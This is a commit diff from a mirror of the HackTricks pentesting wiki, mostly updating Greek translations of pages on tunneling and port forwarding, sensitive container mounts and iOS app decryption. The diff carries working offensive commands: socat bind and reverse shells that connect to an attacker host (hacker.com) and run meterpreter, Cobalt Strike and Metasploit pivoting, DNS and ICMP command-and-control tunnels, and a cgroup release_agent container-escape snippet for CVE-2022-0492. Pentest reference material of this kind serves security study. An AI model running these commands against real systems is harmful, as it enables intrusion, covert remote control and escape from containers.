mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
aa99360cc5
commit
f775cc6563
@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Ασφάλεια – Επίθεση Terrapin (CVE-2023-48795)**
|
||||
> Η επίθεση υποβάθμισης Terrapin του 2023 μπορεί να επιτρέψει σε έναν επιτιθέμενο man-in-the-middle να παραποιήσει την πρώιμη διαδικασία handshake του SSH και να εισάγει δεδομένα σε **οποιοδήποτε προωθημένο κανάλι** ( `-L`, `-R`, `-D` ). Βεβαιωθείτε ότι τόσο ο πελάτης όσο και ο διακομιστής είναι ενημερωμένοι (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ή απενεργοποιήστε ρητά τους ευάλωτους αλγόριθμους `chacha20-poly1305@openssh.com` και `*-etm@openssh.com` στο `sshd_config`/`ssh_config` πριν βασιστείτε σε SSH tunnels.
|
||||
> Η επίθεση υποβάθμισης Terrapin του 2023 μπορεί να επιτρέψει σε έναν επιτιθέμενο man-in-the-middle να παραποιήσει το αρχικό handshake SSH και να εισάγει δεδομένα σε **οποιοδήποτε προωθημένο κανάλι** ( `-L`, `-R`, `-D` ). Βεβαιωθείτε ότι τόσο ο πελάτης όσο και ο διακομιστής είναι ενημερωμένοι (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ή απενεργοποιήστε ρητά τους ευάλωτους αλγόριθμους `chacha20-poly1305@openssh.com` και `*-etm@openssh.com` στο `sshd_config`/`ssh_config` πριν βασιστείτε σε SSH tunnels.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
Μπορείτε να **δημιουργήσετε σήραγγα** μέσω **ssh** όλης της **κυκλοφορίας** σε ένα **υποδίκτυο** μέσω ενός κεντρικού υπολογιστή.\
|
||||
Για παράδειγμα, προωθώντας όλη την κυκλοφορία που πηγαίνει προς το 10.10.10.0/24
|
||||
Για παράδειγμα, προωθώντας όλη την κυκλοφορία που πηγαίνει στο 10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
@ -121,7 +121,7 @@ use auxiliary/server/socks_proxy
|
||||
run #Proxy port 1080 by default
|
||||
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
```
|
||||
Ένας άλλος τρόπος:
|
||||
Άλλος τρόπος:
|
||||
```bash
|
||||
background #meterpreter session
|
||||
use post/multi/manage/autoroute
|
||||
@ -138,7 +138,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
|
||||
### SOCKS proxy
|
||||
|
||||
Ανοίξτε μια θύρα στον teamserver που ακούει σε όλα τα interfaces που μπορούν να χρησιμοποιηθούν για να **δρομολογήσουν την κίνηση μέσω του beacon**.
|
||||
Ανοίξτε μια θύρα στον server της ομάδας που ακούει σε όλα τα interfaces που μπορούν να χρησιμοποιηθούν για **να δρομολογήσουν την κίνηση μέσω του beacon**.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
@ -149,14 +149,14 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
||||
### rPort2Port
|
||||
|
||||
> [!WARNING]
|
||||
> Σε αυτή την περίπτωση, το **θύρα ανοίγεται στον host beacon**, όχι στον Team Server και η κίνηση αποστέλλεται στον Team Server και από εκεί στον υποδεικνυόμενο host:port
|
||||
> Σε αυτή την περίπτωση, το **θύρα ανοίγει στον host beacon**, όχι στον Team Server και η κίνηση αποστέλλεται στον Team Server και από εκεί στον υποδεικνυόμενο host:port
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
```
|
||||
Για σημείωση:
|
||||
|
||||
- Η αντίστροφη προώθηση θύρας του Beacon έχει σχεδιαστεί για να **συνδέει την κίνηση με τον Server Ομάδας, όχι για τη διαμεσολάβηση μεταξύ μεμονωμένων μηχανών**.
|
||||
- Η αντίστροφη προώθηση θύρας του Beacon έχει σχεδιαστεί για να **συνδέει την κίνηση στον Server Ομάδας, όχι για τη διαμεσολάβηση μεταξύ μεμονωμένων μηχανών**.
|
||||
- Η κίνηση είναι **συνδεδεμένη μέσα στην κίνηση C2 του Beacon**, συμπεριλαμβανομένων των P2P συνδέσεων.
|
||||
- **Δικαιώματα διαχειριστή δεν απαιτούνται** για τη δημιουργία αντίστροφων προωθήσεων θύρας σε υψηλές θύρες.
|
||||
|
||||
@ -262,7 +262,7 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
|
||||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Bind shell
|
||||
### Δεσμός κελύφους
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
||||
@ -290,7 +290,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
Μπορείτε να παρακάμψετε έναν **μη αυθεντικοποιημένο διακομιστή μεσολάβησης** εκτελώντας αυτή τη γραμμή αντί για την τελευταία στην κονσόλα του θύματος:
|
||||
Μπορείτε να παρακάμψετε έναν **μη αυθεντικοποιημένο διακομιστή μεσολάβησης** εκτελώντας αυτή τη γραμμή αντί για την τελευταία στη κονσόλα του θύματος:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
@ -316,7 +316,7 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.
|
||||
```
|
||||
### Remote Port2Port
|
||||
|
||||
Συνδέστε την τοπική θύρα SSH (22) με την θύρα 443 του επιτιθέμενου υπολογιστή
|
||||
Συνδέστε την τοπική θύρα SSH (22) με την θύρα 443 του επιτιθέμενου.
|
||||
```bash
|
||||
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
||||
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
||||
@ -326,7 +326,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
|
||||
Είναι σαν μια κονσόλα PuTTY έκδοση (οι επιλογές είναι πολύ παρόμοιες με έναν ssh πελάτη).
|
||||
|
||||
Καθώς αυτό το δυαδικό αρχείο θα εκτελείται στο θύμα και είναι ένας ssh πελάτης, πρέπει να ανοίξουμε την υπηρεσία ssh και την θύρα μας ώστε να μπορέσουμε να έχουμε μια αντίστροφη σύνδεση. Στη συνέχεια, για να προωθήσουμε μόνο την τοπικά προσβάσιμη θύρα σε μια θύρα στη μηχανή μας:
|
||||
Καθώς αυτό το δυαδικό αρχείο θα εκτελείται στον θύμα και είναι ένας ssh πελάτης, πρέπει να ανοίξουμε την υπηρεσία ssh και την θύρα μας ώστε να μπορέσουμε να έχουμε μια αντίστροφη σύνδεση. Στη συνέχεια, για να προωθήσουμε μόνο την τοπικά προσβάσιμη θύρα σε μια θύρα στη μηχανή μας:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -347,13 +347,13 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
Πρέπει να έχετε **RDP πρόσβαση στο σύστημα**.\
|
||||
Πρέπει να έχετε **πρόσβαση RDP στο σύστημα**.\
|
||||
Κατεβάστε:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Αυτό το εργαλείο χρησιμοποιεί `Dynamic Virtual Channels` (`DVC`) από τη δυνατότητα Remote Desktop Service των Windows. Το DVC είναι υπεύθυνο για **tunneling πακέτων μέσω της σύνδεσης RDP**.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Αυτό το εργαλείο χρησιμοποιεί `Dynamic Virtual Channels` (`DVC`) από τη δυνατότητα Remote Desktop Service των Windows. Το DVC είναι υπεύθυνο για **την τούνελινγκ πακέτων μέσω της σύνδεσης RDP**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
Στον υπολογιστή-πελάτη σας φορτώστε **`SocksOverRDP-Plugin.dll`** όπως αυτό:
|
||||
Στον υπολογιστή-πελάτη σας, φορτώστε **`SocksOverRDP-Plugin.dll`** όπως αυτό:
|
||||
```bash
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
@ -370,9 +370,9 @@ netstat -antb | findstr 1080
|
||||
```
|
||||
Τώρα μπορείτε να χρησιμοποιήσετε [**Proxifier**](https://www.proxifier.com/) **για να προξενήσετε την κίνηση μέσω αυτού του πόρου.**
|
||||
|
||||
## Προξενήστε εφαρμογές Windows GUI
|
||||
## Προξενήστε εφαρμογές GUI των Windows
|
||||
|
||||
Μπορείτε να κάνετε τις εφαρμογές Windows GUI να περιηγούνται μέσω ενός proxy χρησιμοποιώντας [**Proxifier**](https://www.proxifier.com/).\
|
||||
Μπορείτε να κάνετε τις εφαρμογές GUI των Windows να περιηγούνται μέσω ενός proxy χρησιμοποιώντας [**Proxifier**](https://www.proxifier.com/).\
|
||||
Στο **Profile -> Proxy Servers** προσθέστε τη διεύθυνση IP και τον πόρο του διακομιστή SOCKS.\
|
||||
Στο **Profile -> Proxification Rules** προσθέστε το όνομα του προγράμματος που θέλετε να προξενήσετε και τις συνδέσεις προς τις διευθύνσεις IP που θέλετε να προξενήσετε.
|
||||
|
||||
@ -396,8 +396,8 @@ Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Τώρα, αν ρυθμίσετε για παράδειγμα στην θυματική μηχανή την υπηρεσία **SSH** να ακούει στην θύρα 443. Μπορείτε να συνδεθείτε σε αυτήν μέσω της θύρας 2222 του επιτιθέμενου.\
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε ένα **meterpreter** που συνδέεται στο localhost:443 και ο επιτιθέμενος ακούει στην θύρα 2222.
|
||||
Τώρα, αν ρυθμίσετε για παράδειγμα στον θύμα την υπηρεσία **SSH** να ακούει στην πόρτα 443. Μπορείτε να συνδεθείτε σε αυτήν μέσω της θύρας 2222 του επιτιθέμενου.\
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε ένα **meterpreter** που συνδέεται στο localhost:443 και ο επιτιθέμενος ακούει στην πόρτα 2222.
|
||||
|
||||
## YARP
|
||||
|
||||
@ -409,7 +409,7 @@ Tunnel 2222:<attackers_machine>:443
|
||||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
Απαιτείται root και στα δύο συστήματα για να δημιουργηθούν οι προσαρμογείς tun και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας DNS ερωτήματα.
|
||||
Απαιτείται root και στα δύο συστήματα για να δημιουργηθούν προσαρμογείς tun και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας ερωτήματα DNS.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
@ -423,7 +423,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
|
||||
[**Κατεβάστε το από εδώ**](https://github.com/iagox86/dnscat2)**.**
|
||||
|
||||
Establishes a C\&C channel through DNS. It doesn't need root privileges.
|
||||
Δημιουργεί ένα κανάλι C\&C μέσω DNS. Δεν απαιτεί δικαιώματα root.
|
||||
```bash
|
||||
attacker> ruby ./dnscat2.rb tunneldomain.com
|
||||
victim> ./dnscat2 tunneldomain.com
|
||||
@ -446,9 +446,9 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||
```
|
||||
#### Αλλαγή DNS του proxychains
|
||||
|
||||
Το Proxychains παρεμβαίνει στην κλήση `gethostbyname` της libc και στέλνει τα αιτήματα DNS tcp μέσω του socks proxy. Από **προεπιλογή**, ο **DNS** διακομιστής που χρησιμοποιεί το proxychains είναι **4.2.2.2** (σκληρά κωδικοποιημένος). Για να τον αλλάξετε, επεξεργαστείτε το αρχείο: _/usr/lib/proxychains3/proxyresolv_ και αλλάξτε τη διεύθυνση IP. Αν βρίσκεστε σε **περιβάλλον Windows**, μπορείτε να ορίσετε τη διεύθυνση IP του **domain controller**.
|
||||
Το Proxychains παρεμβαίνει στην κλήση `gethostbyname` της libc και σήραγγες το tcp DNS αίτημα μέσω του socks proxy. Από **προεπιλογή**, ο **DNS** διακομιστής που χρησιμοποιεί το proxychains είναι **4.2.2.2** (σκληρά κωδικοποιημένος). Για να τον αλλάξετε, επεξεργαστείτε το αρχείο: _/usr/lib/proxychains3/proxyresolv_ και αλλάξτε τη διεύθυνση IP. Αν βρίσκεστε σε **περιβάλλον Windows**, μπορείτε να ορίσετε τη διεύθυνση IP του **domain controller**.
|
||||
|
||||
## Τούνελ σε Go
|
||||
## Σήραγγες σε Go
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
@ -459,7 +459,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
Απαιτείται root και στα δύο συστήματα για να δημιουργηθούν οι προσαρμογείς tun και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας αιτήματα ICMP echo.
|
||||
Απαιτείται δικαιώματα root και στα δύο συστήματα για να δημιουργηθούν προσαρμογείς tun και να σήραγγες δεδομένα μεταξύ τους χρησιμοποιώντας αιτήματα ICMP echo.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
@ -502,7 +502,7 @@ chmod a+x ./ngrok
|
||||
|
||||
_Είναι επίσης δυνατή η προσθήκη αυθεντικοποίησης και TLS, αν είναι απαραίτητο._
|
||||
|
||||
#### Tunneling TCP
|
||||
#### Τούνελινγκ TCP
|
||||
```bash
|
||||
# Pointing to 0.0.0.0:4444
|
||||
./ngrok tcp 4444
|
||||
@ -574,11 +574,11 @@ url: http://127.0.0.1:8000
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
Επειδή όλη η κίνηση φεύγει από τον υπολογιστή **outbound over 443**, οι σήραγγες Cloudflared είναι ένας απλός τρόπος για να παρακάμψετε τα ingress ACLs ή τα NAT boundaries. Να είστε προσεκτικοί ότι το δυαδικό αρχείο συνήθως εκτελείται με αυξημένα δικαιώματα – χρησιμοποιήστε κοντέινερ ή την επιλογή `--user` όταν είναι δυνατόν.
|
||||
Γιατί όλη η κίνηση φεύγει από τον υπολογιστή **outbound over 443**, οι σήραγγες Cloudflared είναι ένας απλός τρόπος για να παρακάμψετε τα ingress ACLs ή τα NAT boundaries. Να είστε προσεκτικοί ότι το δυαδικό αρχείο συνήθως εκτελείται με αυξημένα δικαιώματα – χρησιμοποιήστε κοντέινερ ή την επιλογή `--user` όταν είναι δυνατόν.
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
[`frp`](https://github.com/fatedier/frp) είναι ένα ενεργά συντηρούμενο Go reverse-proxy που υποστηρίζει **TCP, UDP, HTTP/S, SOCKS και P2P NAT-hole-punching**. Ξεκινώντας από **v0.53.0 (Μάιος 2024)** μπορεί να λειτουργήσει ως **SSH Tunnel Gateway**, έτσι ώστε ένας στόχος υπολογιστής να μπορεί να δημιουργήσει μια αντίστροφη σήραγγα χρησιμοποιώντας μόνο τον προεπιλεγμένο πελάτη OpenSSH – δεν απαιτείται επιπλέον δυαδικό αρχείο.
|
||||
[`frp`](https://github.com/fatedier/frp) είναι ένα ενεργά συντηρούμενο Go reverse-proxy που υποστηρίζει **TCP, UDP, HTTP/S, SOCKS και P2P NAT-hole-punching**. Ξεκινώντας από **v0.53.0 (Μάιος 2024)** μπορεί να λειτουργήσει ως **SSH Tunnel Gateway**, έτσι ώστε ένας στόχος υπολογιστής να μπορεί να δημιουργήσει μια αντίστροφη σήραγγα χρησιμοποιώντας μόνο τον stock OpenSSH client – δεν απαιτείται επιπλέον δυαδικό αρχείο.
|
||||
|
||||
### Κλασική αντίστροφη σήραγγα TCP
|
||||
```bash
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Η έκθεση των `/proc`, `/sys` και `/var` χωρίς κατάλληλη απομόνωση ονομάτων χώρου εισάγει σημαντικούς κινδύνους ασφαλείας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, αν είναι κακώς ρυθμισμένα ή προσπελαστούν από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή κοντέινερ, τροποποίηση του κεντρικού υπολογιστή ή να παρέχουν πληροφορίες που διευκολύνουν περαιτέρω επιθέσεις. Για παράδειγμα, η λανθασμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία του AppArmor λόγω της βασισμένης σε διαδρομή φύσης της, αφήνοντας το `/host/proc` απροστάτευτο.
|
||||
Η έκθεση των `/proc`, `/sys` και `/var` χωρίς κατάλληλη απομόνωση ονομάτων εισάγει σημαντικούς κινδύνους ασφαλείας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, αν είναι κακώς ρυθμισμένα ή προσπελάζονται από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή κοντέινερ, τροποποίηση του κεντρικού υπολογιστή ή να παρέχουν πληροφορίες που διευκολύνουν περαιτέρω επιθέσεις. Για παράδειγμα, η λανθασμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία του AppArmor λόγω της βασισμένης σε διαδρομή φύσης της, αφήνοντας το `/host/proc` απροστάτευτο.
|
||||
|
||||
**Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε πιθανή ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
@ -39,7 +39,7 @@ return 0;
|
||||
```
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
- Αναλυτικά στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Λεπτομέρειες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Περιέχει τη διαδρομή προς τον φορτωτή πυρήνα, που καλείται για τη φόρτωση πυρήνων.
|
||||
- **Παράδειγμα Ελέγχου Πρόσβασης**:
|
||||
|
||||
@ -63,14 +63,14 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ
|
||||
- Μπορεί να οδηγήσει σε κλιμάκωση προνομίων ή πρόσβαση σε root shell αν το `/proc/sys/fs/binfmt_misc/register` είναι εγγράψιμο.
|
||||
- Σχετική εκμετάλλευση και εξήγηση:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Αναλυτικός οδηγός: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
- Σε βάθος tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Άλλα στο `/proc`
|
||||
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
- Μπορεί να αποκαλύψει τη διαμόρφωση του πυρήνα αν είναι ενεργοποιημένο το `CONFIG_IKCONFIG_PROC`.
|
||||
- Χρήσιμο για επιτιθέμενους για να εντοπίσουν ευπάθειες στον τρέχοντα πυρήνα.
|
||||
- Χρήσιμο για επιτιθέμενους για την αναγνώριση ευπαθειών στον τρέχοντα πυρήνα.
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
@ -83,7 +83,7 @@ echo b > /proc/sysrq-trigger # Επανεκκινεί τον host
|
||||
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
- Εκθέτει μηνύματα του δακτυλίου του πυρήνα.
|
||||
- Εκθέτει μηνύματα του buffer του πυρήνα.
|
||||
- Μπορεί να βοηθήσει σε εκμεταλλεύσεις πυρήνα, διαρροές διευθύνσεων και να παρέχει ευαίσθητες πληροφορίες συστήματος.
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
@ -295,7 +295,7 @@ Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent
|
||||
```text
|
||||
```
|
||||
/run/containerd/containerd.sock # socket CRI του containerd
|
||||
/var/run/crio/crio.sock # socket runtime CRI-O
|
||||
/var/run/crio/crio.sock # socket χρόνου εκτέλεσης CRI-O
|
||||
/run/podman/podman.sock # API Podman (με δικαιώματα root ή χωρίς)
|
||||
/var/run/kubelet.sock # API Kubelet σε κόμβους Kubernetes
|
||||
/run/firecracker-containerd.sock # Kata / Firecracker
|
||||
@ -317,7 +317,7 @@ A similar technique works with **crictl**, **podman** or the **kubelet** API onc
|
||||
Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
|
||||
|
||||
```bash
|
||||
# υποθέτοντας ότι το κοντέινερ έχει CAP_SYS_ADMIN και έναν ευάλωτο πυρήνα
|
||||
# assuming the container has CAP_SYS_ADMIN and a vulnerable kernel
|
||||
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
|
||||
|
||||
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # απαιτεί CVE-2022-0492
|
||||
|
@ -4,25 +4,27 @@
|
||||
|
||||
## Κύρια ιδέα
|
||||
|
||||
Οι εφαρμογές που υπογράφονται με την **εξουσιοδότηση `get_task_allow`** επιτρέπουν σε τρίτες εφαρμογές να εκτελούν μια λειτουργία που ονομάζεται **`task_for_pid()`** με το ID της διαδικασίας της αρχικής εφαρμογής ως παράμετρο, προκειμένου να αποκτήσουν την θύρα εργασίας πάνω της (να είναι σε θέση να την ελέγξουν και να έχουν πρόσβαση στη μνήμη της).
|
||||
Οι εφαρμογές που υπογράφονται με την **εξουσιοδότηση `get_task_allow`** επιτρέπουν σε τρίτες εφαρμογές να εκτελούν μια λειτουργία που ονομάζεται **`task_for_pid()`** με το ID της αρχικής εφαρμογής ως παράμετρο, προκειμένου να αποκτήσουν την θύρα εργασίας πάνω σε αυτή (να είναι σε θέση να την ελέγξουν και να έχουν πρόσβαση στη μνήμη της).
|
||||
|
||||
Ωστόσο, δεν είναι τόσο εύκολο όσο το να τραβήξετε το IPA, να το ξαναυπογράψετε με την εξουσιοδότηση και να το επαναφέρετε στη συσκευή σας. Αυτό οφείλεται στην προστασία FairPlay. Όταν αλλάζει η υπογραφή της εφαρμογής, το κλειδί DRM (Digital Rights Management) **ακυρώνεται και η εφαρμογή δεν θα λειτουργήσει**.
|
||||
|
||||
Με μια παλιά jailbroken συσκευή, είναι δυνατό να εγκαταστήσετε το IPA, **να το αποκρυπτογραφήσετε χρησιμοποιώντας το αγαπημένο σας εργαλείο** (όπως το Iridium ή το frida-ios-dump) και να το τραβήξετε πίσω από τη συσκευή. Ωστόσο, αν είναι δυνατόν, συνιστάται να ρωτήσετε τον πελάτη για το αποκρυπτογραφημένο IPA.
|
||||
|
||||
## Αποκτήστε το αποκρυπτογραφημένο IPA
|
||||
|
||||
## Απόκτηση αποκρυπτογραφημένου IPA
|
||||
|
||||
### Πάρτε το από την Apple
|
||||
|
||||
1. Εγκαταστήστε την εφαρμογή που θέλετε να δοκιμάσετε στο iPhone
|
||||
2. Εγκαταστήστε και εκκινήστε το [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) μέσα στο macos σας
|
||||
3. Ανοίξτε το `Terminal` στο Mac σας και cd στο `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. Το IPA θα εμφανιστεί σε αυτόν τον φάκελο αργότερα.
|
||||
4. Θα πρέπει να δείτε τη συσκευή iOS σας. Κάντε διπλό κλικ σε αυτήν και στη συνέχεια κάντε κλικ στο Προσθήκη + → Εφαρμογές από την επάνω μπάρα μενού.
|
||||
5. Μετά την κλικ στο Προσθήκη, το Configurator θα κατεβάσει το IPA από την Apple και θα προσπαθήσει να το στείλει στη συσκευή σας. Αν ακολουθήσατε τη σύστασή μου νωρίτερα και έχετε ήδη εγκαταστήσει το IPA, θα εμφανιστεί ένα παράθυρο που θα σας ζητά να επανεγκαταστήσετε την εφαρμογή.
|
||||
6. Το IPA θα πρέπει να έχει κατέβει μέσα στο `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` από όπου μπορείτε να το πάρετε.
|
||||
4. Θα πρέπει να δείτε τη συσκευή iOS σας. Κάντε διπλό κλικ σε αυτήν και στη συνέχεια κάντε κλικ στο Προσθήκη + → Εφαρμογές από την επάνω γραμμή μενού.
|
||||
5. Αφού κάνετε κλικ στην Προσθήκη, το Configurator θα κατεβάσει το IPA από την Apple και θα προσπαθήσει να το στείλει στη συσκευή σας. Αν ακολουθήσατε τη σύστασή μου νωρίτερα και έχετε ήδη εγκαταστήσει το IPA, θα εμφανιστεί ένα παράθυρο που θα σας ζητά να επανεγκαταστήσετε την εφαρμογή.
|
||||
6. Το IPA θα πρέπει να έχει κατέβει μέσα στο `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` από όπου μπορείτε να το πάρετε
|
||||
|
||||
Ελέγξτε [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) για περισσότερες λεπτομέρειες σχετικά με αυτή τη διαδικασία.
|
||||
|
||||
|
||||
### Αποκρυπτογράφηση της εφαρμογής
|
||||
|
||||
Για να αποκρυπτογραφήσουμε το IPA, θα το εγκαταστήσουμε. Ωστόσο, αν έχετε ένα παλιό jailbroken iPhone, πιθανώς η έκδοσή του δεν θα υποστηρίζεται από την εφαρμογή, καθώς συνήθως οι εφαρμογές υποστηρίζουν μόνο τις τελευταίες εκδόσεις.
|
||||
@ -78,7 +80,7 @@ ideviceinstaller -i resigned.ipa -w
|
||||
| **AltStore 2 / SideStore** | macOS/Windows/Linux συνοδευτικό που ξαναυπογράφει το IPA κάθε 7 ημέρες με δωρεάν προφίλ ανάπτυξης | Αυτόματη επαναφόρτωση μέσω Wi-Fi, λειτουργεί μέχρι iOS 17 | Χρειάζεται υπολογιστής στο ίδιο δίκτυο, περιορισμός 3 εφαρμογών που επιβάλλεται από την Apple |
|
||||
| **TrollStore 1/2** | Συσκευή σε iOS 14 – 15.4.1 ευάλωτη στο σφάλμα CoreTrust | *Μόνιμη* υπογραφή (χωρίς περιορισμό 7 ημερών); δεν απαιτεί υπολογιστή μόλις εγκατασταθεί | Δεν υποστηρίζεται σε iOS 15.5+ (το σφάλμα έχει διορθωθεί) |
|
||||
|
||||
Για τακτικές δοκιμές pentest σε τρέχουσες εκδόσεις iOS, οι Alt/Side-Store είναι συνήθως η πιο πρακτική επιλογή.
|
||||
Για τακτικές δοκιμές pentesting σε τρέχουσες εκδόσεις iOS, οι Alt/Side-Store είναι συνήθως η πιο πρακτική επιλογή.
|
||||
|
||||
### Hooking / δυναμική εργαλειακή υποστήριξη
|
||||
|
||||
|
@ -1,9 +1,9 @@
|
||||
# Django
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
||||
## Cache Manipulation to RCE
|
||||
